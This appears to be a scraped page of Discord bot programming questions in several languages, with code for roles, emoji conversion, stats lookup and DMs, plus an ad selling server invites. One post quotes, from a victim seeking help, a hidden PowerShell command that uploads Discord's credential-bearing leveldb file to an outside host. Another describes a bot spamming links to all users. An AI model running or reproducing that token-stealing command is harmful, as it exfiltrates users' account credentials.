Как получить все роли сервера Discord?

Пишу бота для дискорда. Нужно получить все роли сервера. Есть код:

const Discord = require("discord.js"),       client = new Discord.Client();  client.login("myToken");  client.on('ready', async () => {   console.log(client.guilds); }); 

Данный код выводит в консоль следующее:Результат работы кода

Так вот, как получить свойство roles? Пытался писать client.guilds.roles, но в таком случае возвращается undefined

Converting Words/Numbers to Discord “Letter/Number Emojis”

So i am a beginner to python (and programming overall) and i decided that it would be funny if i wrote a program that could convert Letters/Numbers to these “Letter Emojis” in Discord. It works but i am quite unsure if this is the best way to do it. There are also some bugs caused by adding spaces before actually typing Letters/Numbers. I commented it as precisely as I could to make the Code as understandable as possible

from tkinter import *   root = Tk()   # defines the funtion click which gets called when the submitButton1 is pressed def click():     # makes sure the list is empty in case the user presses the button again to convert something new     result.clear()     # saves the text which is entered in the textentry box, this later gets converted to "Discord Letters"     entered_text=textentry.get()     # deletes the output box in case the user presses the button again to convert something new     output.delete(1.0, END)     # the function to convert a String to "Discord Letters"     discord(entered_text)     # loop which gets the length of the string typed in the textentry box and then outputs it to the output textbox     for i in range(len(entered_text)):         output.insert(END, result[i])   # A List in which the converted Letters are stored it's later used to output the converted Letters in a Textbox result = []   # the function to convert a String to "Discord Letters" def discord(word):     # List of numbers from 0-9 , is used to check the string for numbers and then convert them     # to "Discord Digits" since they have a different syntax in discord than Letters     chars = set('0123456789')     s = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v',          'w', 'x', 'y', 'z'}     # In case the User enters spaces they get removed since they just cause trouble     word = word.replace(" ", "")     word = word.lower()     w = word     for i in range(len(w)):         # checks if the string has a number and outputs accordingly         if any((c in chars) for c in w[i]):             list_one = ["zero", "one", "two", "three", "four", "five", "six", "seven", "eight", "nine", ]             result.append(':' + list_one[int(w[i])] + ":" + " ")         # checks if the string has letter and outputs accordingly (might be unnecessary)         elif any((c in s) for c in w[i]):             result.append(':regional_indicator_' + w[i] + ":" + " ")         else:             # In case the user inputs something wrong             print("False Input")   root.title("Discord Letter Converter") # TextInput textentry = Entry(root, width=20, bg="white") textentry.pack() # submitButton submitButton1 = Button(root, text="Submit", width=6, command=click)# submitButton1.pack() # TextOutput output = Text(root, width=75, height=6, wrap=WORD, background="white") output.pack() root.mainloop() ``` 

What is this PowerShell script sending Discord info to random server?

Upon turning on my personal Windows 10 computer tonight, I was greeted with ConEmu telling me that two PowerShell commands were run at startup. Both commands were the same thing:

powershell -windowstyle hidden -Command "& {&invoke-webrequest -method put -infile 'C:\Users\foo\AppData\Roaming\Discord\Local Storage\leveldb0005.ldb' https://rip.rblx.dev/c/}" 

The source of these commands are two batch files in C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp – LVTUSIX.bat and LVTUSIXd.bat. Both files were created this morning while I was away from my computer (about 30 min after turning it on). I’m unaware of a way to see who/what created the files – they are owned by the administrators group.

I can’t find anything online about rip.rblx.dev or these batch files. A whois lookup on the domain reveals that all the info is privacy-protected.

I’m very suspicious as some research reveals that these .ldb files contain Discord user credentials.

Is anyone aware of what might be going on? Alternatively, does anyone have advice on how I might be able to find more info? I’ve since temporarily mangled the files to prevent them from running until I learn more. Thank you in advance.

Get 20 Discord Invites to Your Server for $3

Why you need to buy Discord server: Discord is a web (and client) service that allows people to connect through chat and voiceFor business and a general hub for any kind of communityFor startups and anyone trying to grow a communityWhy baddhidurgarao is the best place to buy Discord invites: A Discord serverSome bots to help automate and moderate your serverApproximately 3 days delivery

by: baddhidurgarao
Created: —
Category: Social Networks
Viewed: 271


JDA Discord. Бот ожидает ответа от юзера

Пишу Discord бот с помощью библиотеки JDA и столкнулся с достаточно банальной проблемой.

Требуется метод, который принимал бы команду “/add_server” (без каких либо добавлений после /add_server), далее отправлял бы в тот же чат сообщение "Какой сервер вы хотите добавить?"

Бот в этот момент ожидает ответа от Юзера (при этом не мешая другим юзерам пользоваться функционалом бота в соседних TextChannels).

Возможные события:

  1. Если Юзер отправил ему правильное имя сервера (допустим, Google), то бот выводить в командной строке имя сервера (System.out.println(serverName);)

  2. Если Юзер отправил ему неправильное имя сервера (допустим, 21324), то бот повторно спрашивает название сервера или ждет команды /end

  3. Если Юзер не отвечает боту в течение X секунд – бот перестает ожидать ответа от юзера и уведомляет его о том, что бот больше не ожидает от юзера ответа

P.S Если требуется уточнение – скажите об этом мне в комментариях.

Discord command doesn’t work if user has changed their nickname

My if statement won’t work if the user has changed their nickname in the guild.

Does anyone know how can I get around this?

        if (message.content.includes(message.mentions.users.first())) {             let user = message.mention.users.first()              if (results.afk === 1) {                  message.channel.send(`$  {user} is AFK - $  {results.reason} ($  {moment(results.afktime).fromNow()})`)             }; 

results.afk is from a mySQL key object. The above works if the user has not changed his nickname in discord.

Discord Bot querying an External API

I’m posting here to ask for some help improving myself using python since I’m fairly new to it and come from C#.

The main functionality of this bot is parsing the Wargaming API for player related information.

Project structure:

project |    main.py └───ENV │    └───data     |    classes.py     |    dbcontext.py     |    getStats.py 

My Main:

import asyncio import logging import os import sys import re import json  import discord from discord.ext import commands  from data import dbcontext, log, secret, getStats as GetStats from data.translations import en, de, pl ,tr from data.classes import Config, Ship, Player, Stats, ReturnVal, ErrorType  sys.path.append(os.path.join(os.path.dirname(__file__), "data"))   """ WoWs-Stats Bot. Creator Fuyune  Uses Discord.py framework by Rapptz """  ####### Bot Basic Configuration #######  bot = commands.Bot(command_prefix="!") logger = logging.getLogger('discord') logger.setLevel(logging.ERROR) handler = logging.FileHandler(filename='err.log', encoding='utf-8', mode='a') handler.setFormatter(logging.Formatter(     '%(asctime)s:%(levelname)s:%(name)s: %(message)s')) logger.addHandler(handler) bot.remove_command('help') configs = [] regions = ["eu","ru","na","asia"] langs = ["de","en","pl","tr"] #remember adding to imports too amounts = {}  ####### Bot Events #######  @bot.event async def on_ready():     log.writeLog("init", "Ready")     print("Bot Started")     configs = []     for x in bot.guilds:         configs.append(dbcontext.getConfig(x.id))         print("Connected to: " + x.name)         log.writeLog("Connected", x.name)   @bot.command() async def stats(ctx, *args):     if ctx.message.guild is None:         await ctx.send("**I'm not allowed to answer in Private messages.**")     else:         config = dbcontext.getConfig(ctx.guild.id)         if (len(args) == 0) or (len(args) == 1 and args[0].lower() == "help") :             await writeHelp(ctx,config)         elif len(args) == 1 and args[0] != "help":             playerObject = GetStats.getPlayer(config,args[0])             if playerObject == None or playerObject.id == 0 :                 await  writeError(ctx,config,ErrorType.UNKNOWN_PLAYER)             else:                 playerStats = GetStats.getPlayerStats(config,playerObject)                 if playerStats.hidden:                     await writeError(ctx,config,ErrorType.HIDDEN_STATS)                 elif playerStats.damage == 0:                     await writeError(ctx,config,ErrorType.UNKNOWN_STATS)                 else:                     await writeAnswer(ctx,config,playerObject,playerStats)         elif len(args) >= 2:             playerObject = GetStats.getPlayer(config,args[0])             if playerObject == None or playerObject.id == 0:                 await writeError(ctx,config,ErrorType.UNKNOWN_PLAYER)             else:                 ship = dbcontext.getShip(" ".join(args[1:]))                 if ship.id == 0:                     await writeError(ctx,config,ErrorType.UNKNOWN_SHIP)                 else:                     shipStats = GetStats.getShipStats(config,playerObject,ship)                     if shipStats.hidden:                         await writeError(ctx,config,ErrorType.HIDDEN_STATS)                     elif shipStats.damage == 0:                         await writeError(ctx,config,ErrorType.UNKNOWN_STATS)                     else:                         await writeAnswer(ctx,config,playerObject,ship,shipStats)   @bot.command() async def statsr(ctx, *args):     if ctx.message.guild is None:         await ctx.send("**I'm not allowed to answer in Private messages.**")     else:         config = dbcontext.getConfig(ctx.guild.id)         regex = re.compile("^(![1-9][1]|![1-9])|(!s[1-4])$  ", re.IGNORECASE) # regex to check for valid season         if (len(args) == 0) or (len(args) == 1 and args[0].lower() == "help") :             await writeHelp(ctx,config)         elif regex.match(args[0]):             await writeError(ctx,config,ErrorType.UNKNOWN_SEASON)         elif len(args) == 2 and args[0] != "help":             season = convertSeason(args[0])             playerObject = GetStats.getPlayer(config,args[1])             if playerObject == None or playerObject.id == 0 :                 await  writeError(ctx,config,ErrorType.UNKNOWN_PLAYER)             else:                 playerStats = GetStats.getRankedStats(config,playerObject,season)                 if playerStats.hidden:                     await writeError(ctx,config,ErrorType.HIDDEN_STATS)                 elif playerStats.damage == 0:                     await writeError(ctx,config,ErrorType.UNKNOWN_STATS)                 else:                     await writeAnswer(ctx,config,playerObject,playerStats)         elif len(args) > 2:             season = convertSeason(args[0])             playerObject = GetStats.getPlayer(config,args[1])             if playerObject == None or playerObject.id == 0:                 await writeError(ctx,config,ErrorType.UNKNOWN_PLAYER)             else:                 ship = dbcontext.getShip(" ".join(args[2:]))                 if ship.id == 0:                     await writeError(ctx,config,ErrorType.UNKNOWN_SHIP)                 else:                     shipStats = GetStats.getRankedStats(config,playerObject,season,ship)                     if shipStats.hidden:                         await writeError(ctx,config,ErrorType.HIDDEN_STATS)                     elif shipStats.damage == 0:                         await writeError(ctx,config,ErrorType.UNKNOWN_STATS)                     else:                         await writeAnswer(ctx,config,playerObject,ship,shipStats)         else:             await writeHelp(ctx,config)  ####### Helper Functions #######  async def writeAnswer(ctx,config,*args):     player = None     ship = None     stats = None     embed = None     translation = globals()[config.language]     for arg in args:                 if isinstance(arg,Player):             player=arg         elif isinstance(arg,Ship):             ship=arg         elif isinstance(arg,Stats):             stats=arg     if player != None and stats != None and ship != None:         color = getColor(stats.avgWins)         embed=discord.Embed(title=translation.title.format(username=player.name),url=GetStats.getPlayerLink(config,player), description=translation.description.format(shipname=ship.name), color=color)         embed.set_author(name="WoWs-Stats-Bot",url="https://github.com/De-Wohli")         embed.set_thumbnail(url=ship.url)         embed.add_field(name=translation.battles, value=stats.battles, inline=True)         embed.add_field(name=translation.avgDamage, value=stats.avgDamage, inline=True)         embed.add_field(name=translation.winrate, value="{:.2f}%".format(stats.avgWins), inline=True)         embed.set_footer(text=translation.footer)     elif player != None and stats != None and ship == None:         color = getColor(stats.avgWins)         embed=discord.Embed(title=translation.title.format(username=player.name),url=GetStats.getPlayerLink(config,player), description=translation.general, color=color)         embed.set_author(name="WoWs-Stats-Bot",url="https://github.com/De-Wohli")         embed.add_field(name=translation.battles, value=stats.battles, inline=True)         embed.add_field(name=translation.avgDamage, value=stats.avgDamage, inline=True)         embed.add_field(name=translation.winrate, value="{:.2f}%".format(stats.avgWins), inline=True)         embed.set_footer(text=translation.footer)     if embed != None:         await ctx.send(embed=embed)   async def writeHelp(ctx,config):     color = discord.Color.teal()     translation = globals()[config.language]     embed=discord.Embed(title=translation.helpHeader, description=translation.helpDescription, color=color)     embed.set_author(name="WoWs-Stats-Bot")     embed.add_field(name="!stats [player]",value=translation.helpPlayer,inline=False)     embed.add_field(name="!stats [player] [shipname]",value=translation.helpShip,inline=False)     embed.add_field(name="!statsr [season] [player]",value=translation.helpRanked,inline=False)     embed.add_field(name="!statsr [season] [player] [shipname]",value=translation.helpSRanked,inline=False)     embed.set_footer(text="This bot was made by Fuyu_Kitsune")     await ctx.send(embed=embed)   async def writeError(ctx,config,errorType):     color = discord.Color.dark_teal()     translation = globals()[config.language]     errorText = translation.error[errorType.value]     embed=discord.Embed(title="Error", description=errorText, color=color)     embed.set_author(name="WoWs-Stats-Bot")     embed.set_footer(text=translation.footer)     await ctx.send(embed=embed)   def getColor(value):     if value <= 40:         return discord.Colour.red()     elif value > 40 and value <= 45:         return discord.Colour.orange()     elif value > 45 and value <= 50:         return discord.Colour.gold()     elif value > 50 and value <= 53:         return discord.Colour.green()     elif value > 53 and value <= 56:         return discord.Color.dark_green()     elif value > 56 and value <= 60:         return discord.Color.teal()     elif value > 60 and value <= 66:         return discord.Color.purple()     elif value > 66:         return discord.Colour.dark_purple()   def convertSeason(value):     season = value     if season == "s1":         season = "101"     elif season == "s2":         season = "102"     elif season == "s3":         season = "103"     elif season == "s4":         season = "104"     return season 

This being the main method, here is where the parsing of the command takes place. The usual command is !stats [playername] [shipname] My primary concerns here are the async def stats(ctx, *args): and async def statsr(ctx, *args): functions.

data/classes.py:

from enum import Enum   class Ship:     def __init__(self, id=0, name="", url=""):         self.id = id         self.name = name         self.url = url      def __eq__(self, other):         return self.name == other   class Player:     def __init__(self, id=0, name="", code="404"):         self.id = id         self.name = name         self.code = code   class Stats:     def __init__(self, battles=0, frags=0, damage_dealt=0, wins=0, hidden=False, code=404):         self.hidden = hidden         self.battles = battles         self.frags = float(frags)         self.damage = float(damage_dealt)         self.wins = wins         self.code = code      @property     def avgFrags(self):         if self.battles == 0:             return 0         return round(self.frags / self.battles, 2)      @property     def avgDamage(self):         if self.battles == 0:             return 0         return round(self.damage / self.battles, 2)      @property     def avgWins(self):         if self.battles == 0:             return 0         return round(float(self.wins / self.battles), 4)*100   class Config:     def __init__(self, serverId=0, region="eu", language="en"):         self.serverId = serverId         self.region = region         self.language = language   class ReturnVal(Enum):     SUCCESS = 0     FAILED = 1     DOUBLE = 2  class ErrorType(Enum):     def __str__(self):         return str(self.value)      UNKNOWN_PLAYER = 0     UNKNOWN_SHIP = 1     UNKNOWN_STATS = 2     HIDDEN_STATS = 3     UNKNOWN_SEASON = 4 

these are my model classes, since I’m coming from C# I’m not too sure if this would be an acceptable way of dealing with it in python.

data/dbcontext.py:

import sys import os import mysql.connector  import data.log as log from data.classes import Config, ReturnVal, Ship from data.secret import Secret   def connect():     mydb = mysql.connector.connect(host=Secret.dbAddr,user=Secret.dbUser,passwd=Secret.dbPwd,database=Secret.dbName)     return mydb   def getShip(name):     try:         con=connect()         cursor = con.cursor()         sql = 'SELECT id,Name,url FROM Ships WHERE name LIKE %s'         val = (name,)         cursor.execute(sql,val)         rows = cursor.fetchone()         if rows is None:             sql =  'SELECT id,Name,url FROM Ships WHERE id = (SELECT id FROM Asn WHERE name LIKE %s)'             val = (name,)             cursor.execute(sql,val)             rows = cursor.fetchone()             if rows is None:                 return Ship()             else:                 return Ship(id=rows[0], name=rows[1], url=rows[2])         else:             return Ship(id=rows[0], name=rows[1], url=rows[2])     except Exception as e:         log.writeLog("getShip", str(e))         con.rollback()         return Ship()     finally:         con.commit()         con.close()    def addAsn(name, asn):     try:         con=connect()         cursor = con.cursor()         sql = 'SELECT id,Name,url FROM Ships WHERE name LIKE %s'         val = (name,)         cursor.execute(sql,val)         rows = cursor.fetchone()         if rows is None:             return ReturnVal.FAILED         else:             sql = 'INSERT INTO Asn (name,id,url) VALUES(%s,%s,%s)'             val = (asn,rows[0],rows[2])             cursor.execute(sql,val)             return ReturnVal.SUCCESS     except mysql.connector.IntegrityError as e:         return ReturnVal.DOUBLE     except Exception as e:         log.writeLog("getShip", str(e))         con.rollback()         return ReturnVal.FAILED     finally:         con.commit()         con.close()  def getConfig(id):     try:         con = connect()         cursor = con.cursor()         sql = 'SELECT region,language FROM Config WHERE ServerId = %s'         val = (id,)         cursor.execute(sql,val)         rows = cursor.fetchone()         if rows is None:             config = Config(serverId=id)             sql = 'INSERT INTO Config(ServerID,region,language) VALUES(%s,%s,%s)'             val = (config.serverId, config.region, config.language)             cursor.execute(sql,val)             return config         else:             return Config(serverId=id, region=rows[0], language=rows[1])     except Exception as e:         log.writeLog("getConfig", str(e))         con.rollback()     finally:         con.commit()         con.close()  def addConfig(id):     try:         con=connect()         cursor = con.cursor()         sql = 'INSERT INTO Config (ServerId, region, language) VALUES(%s,%s,%s)'         val = (id,"eu","en")         cursor.execute(sql,val)         return ReturnVal.SUCCESS     except Exception as e:         log.writeLog("addConfig", str(e))         con.rollback()         return ReturnVal.FAILED     finally:         con.commit()         con.close()  def updateConfig(config):     try:         con=connect()         cursor = con.cursor()         sql = 'UPDATE Config SET region = %s, language = %s WHERE ServerID = %s'         val = (config.region, config.language, config.serverId)         cursor.execute(sql,val)         return ReturnVal.SUCCESS     except Exception as e:         log.writeLog("updateConfig", str(e))         con.rollback()         return ReturnVal.FAILED     finally:         con.commit()         con.close() 

In this file I’m handling all database access. The database stores mainly Ship names & IDs. Is this way of handling the database connection secure or is this vulnerable?

data/getStats.py:

import os import sys import requests import json  sys.path.append(os.path.join(os.path.dirname(__file__), "lib")) sys.path.append(os.path.join(os.path.dirname(__file__),"../data")) from data.classes import Ship, Player, Stats from data.secret import Secret from data.api import api from data import log   def getPlayer(config,playerName):     try:         url = api.psearch.format(reg=config.region,wgapi=Secret.api,playerName=playerName)         response = requests.get(url)         statuscode = response.status_code         response = response.json()         if response["status"] == "ok":             if response["meta"]["count"] == 0:                 return Player(code=200)             else:                 nick = response["data"][0]["nickname"]                 pid = response["data"][0]["account_id"]                 newPlayer = Player(name = nick, id = pid,code = statuscode)                 return newPlayer         else:             return Player(code=statuscode)     except Exception as e:         print(str(e))         log.writeLog("getPlayer",str(e))         return Player(code=200)   def getPlayerLink(config,player):     link = str.format("{}{}-{}",str(api.plink).format(reg=config.region),player.id,player.name)     return link   def getPlayerStats(config,player):     try:         url = api.pstats.format(reg=config.region,wgapi=Secret.api,accountID=player.id)         response = requests.get(url)         statuscode = response.status_code         response = response.json()         if(response["status"] == "ok"):             if bool(response["data"]):                 if bool(response["meta"]["hidden"]):                     st = Stats(1,1,1,1,True,200)                 else:                     battles = response["data"][str(player.id)]["statistics"]['pvp']['battles']                     wins = response["data"][str(player.id)]["statistics"]['pvp']['wins']                     frags = response["data"][str(player.id)]["statistics"]['pvp']['frags']                     damage_dealt= response["data"][str(player.id)]["statistics"]['pvp']['damage_dealt']                     st = Stats(battles,frags,damage_dealt,wins,False,statuscode)             else:                 return Stats(code=200)             return st         else:             return Stats(code=statuscode)     except Exception as e:         print(str(e))         log.writeLog("getPlayerStats",str(e))         return Stats(code=200)   def getShipStats(config,player,ship):     try:         url = api.sstats.format(reg=config.region,wgapi=Secret.api,accountID=player.id,shipID=ship.id)         response = requests.get(url)         statuscode = response.status_code         response = response.json()         if(response["status"] == "ok"):             if bool(response["meta"]["hidden"]):                 st = Stats(1,1,1,1,True,200)             elif bool(response["data"]) and not response["data"][str(player.id)] == None :                 battles = response["data"][str(player.id)][0]['pvp']['battles']                 wins = response["data"][str(player.id)][0]['pvp']['wins']                 frags = response["data"][str(player.id)][0]['pvp']['frags']                 damage_dealt= response["data"][str(player.id)][0]['pvp']['damage_dealt']                 st = Stats(battles,frags,damage_dealt,wins,False,statuscode)             else:                 return Stats(code=200)             return st         else:             return Stats(code=statuscode)     except Exception as e:         print(str(e))         log.writeLog("getShipStats",str(e))         return Stats(code=200)   def getRankedStats(config,player,season,ship = None):     try:         if ship is not None:             url = api.rsstats.format(reg=config.region,wgapi=Secret.api,accountID=player.id,shipID = ship.id)         else:             url = api.rpstats.format(reg=config.region,wgapi=Secret.api,accountID=player.id)         response = requests.get(url)         statuscode = response.status_code         response = response.json()         stats = Stats()         if(response["status"] == "ok"):             if bool(response["meta"]["hidden"]):                 stats = Stats(1,1,1,1,True,200)             elif bool(response["data"]) and not response["data"][str(player.id)] == None :                 if ship is not None:                     seasons = response["data"][str(player.id)][0]["seasons"]                     if season in seasons:                         currentSeason = response["data"][str(player.id)][0]["seasons"][season]                     else:                         return Stats(code=200)                 else:                     seasons = response["data"][str(player.id)]["seasons"]                     if season in seasons:                         currentSeason = response["data"][str(player.id)]["seasons"][season]                     else:                         return Stats(code=200)                 r = []                 r.append(currentSeason["rank_solo"])                 r.append(currentSeason["rank_div2"])                 r.append(currentSeason["rank_div3"])                 for x in r:                     if x is not None:                         stats.wins += x["wins"]                         stats.damage += x["damage_dealt"]                         stats.battles += x["battles"]                         stats.frags += x["frags"]                 stats.code = 200             else:                 return Stats(code=200)             return stats         else:             return Stats(code=statuscode)         pass     except Exception as e:         log.writeLog("getRankedStats",str(e))         pass  

this is the communication class for querying the API endpoints. The endpoints are stored in a different file data/api.py containing a class with the variables stored. i.e.

class api:     psearch = "https://api.worldofwarships.{reg}/wows/account/list/?application_id={wgapi}&search={playerName}" 

The code as shown here is currently working and being hosted on a linux server without too many troubles yet but I’m curious to know about the, probably many things, i could improve. If needed I can provide the answers I’m getting from the API if that would be of any concern to the code I’ve posted.

In general I’m seeking assistance to improve my python programming aswell as improve performance / stability of my code. Any information aswell as critique is welcome.

Thank you.

How do i make my discord bot dm a user by his user id? (the user is in another mutual server with it)

i have a bot with a script that dms any user i want by a mention ($ send mention message) But i want it to DM a user by his user ID, and that user is in another server with it. (i wrote the code from a server where the user hasn’t joined, but the bot is already in another server where that user has joined)

>> CODE:

const Discord = require('discord.js');  const client = new Discord.Client();  client.on ("ready", () => {     console.log("the bot is ready...");      client.user.setGame ("prefix is $  "); });  const prefix = "$  "; client.on ("message", (message) => {      const args = message.content.slice(prefix.length).trim().split(/ +/);   const cmdname = args.shift().toLowerCase();  mention = message.mentions.users.first();   if (cmdname == 'send') {         if (mention == null) return;         message.delete();         args.shift();         mention.send(args.join(' '));           message.channel.send("done"); }  }); client.login('tokenHere'); 

BOT Discord Spam JS/Node

Olá,

Criei um BOT para Discord utilizando JS, NodeJS e a biblioteca DiscordJS

Porém, percebi que de 4 em 4 horas meu BOT spama uma mensagem em todos os canais do servidor e também spama via DM para todo os usuários desse servidor, a mensagem do spam é essa:

@everyone I have good news! link para uma pagina gerada com bitly link para uma pagina gerada com bitly 

Já li e reeli meu código, mas não consigo identificar o problema, acredito que não seja no código. Entretanto, segue meu main.js abaixo:

const Commando = require('discord.js-commando'); const {Client, Attachment} = require('discord.js'); const bot = new Commando.Client(); const config = require('./config.json');  //heroku const express = require('express'); const path = require('path'); const PORT = process.env.PORT || 5000; express()   .use(express.static(path.join(__dirname, 'public')))   .set('views', path.join(__dirname, 'views'))   .set('view engine', 'ejs')   .get('/', (req, res) => res.render('pages/index'))   .listen(PORT, () => console.log(`Listening on $  { PORT }`))  bot.registry.registerGroup('music', 'Music'); bot.registry.registerDefaults(); bot.registry.registerCommandsIn(__dirname + '/commands');  global.servers = {};  bot.on('ready', () => {   console.log('Funcionando...'); });  bot.on('message', function(message) {   if(message.author.bot) return;   if(message.channel.type === 'dm') return;    const args = message.content.slice(config.prefix.length).trim().split(/ +/g);   const comando = args.shift().toLowerCase();    if(message.content == 'hello') {     message.channel.send('Oi');   }    //if(comando === 'quemsou') ESSE FUNCIONA COM A EXCLAMACAO, EX: !quemsou   if(message.content == 'quemsou') {     const attachment = new Attachment('./meme.png');       let r_text = new Array ();      r_text[0] = `$  {message.author} é um Lolzeiro, sai daqui`;      r_text[1] = `$  {message.author} é um C O D I S T A safado`;      r_text[2] = `$  {message.author} já soltou sua ULT da Mercy hj? Patético...`;      r_text[3] = `$  {message.author} só joga com ASH e acha que é PRO`;      r_text[4] = `$  {message.author} Famoso Global carregado, kjjjj`;      r_text[5] = `$  {message.author} joga PUBG com 15 FPS e ainda acha divertido, kk eae men`;      r_text[6] = `$  {message.author} é jogador de FRI, aqui você tem acesso livre e permissão de ADMINISTRATOR, seja bem-vindo MEU REI!`;       let i = Math.floor(7*Math.random());       message.channel.send(`$  {r_text[i]}`, attachment);    }     if(message.content == 'comandos') {     message.channel.send('COMANDOS DO SERVIDOR \n \n quemsou == Mensagens Aleatorias Sobre o GAME Bosta Que Você Joga \n !tocar LINKDOYOTUBE == Bot Irá Reproduzir Sua Música \n !sair == Bot Irá Parar de Reproduzir a Música e Irá Sair da Sala \n \n OS ÚNICOS COMANDOS QUE PRECISAM DE EXCLAMAÇÃO "!" SÃO OS COMANDOS PARA REPRODUZIR MÚSICA');    } });  bot.login(config.token);

Resumindo de uma forma bem breve, a forma que eu criei meu BOT foi, adicionei a biblioteca DiscordJS no meu arquivo, fiz o código em JS do BOT, fui no site oficial do Discord e criei a aplicação do BOT lá, adicionei ele no meu servidor pelo link disponibilizado na documentação oficial do Discord.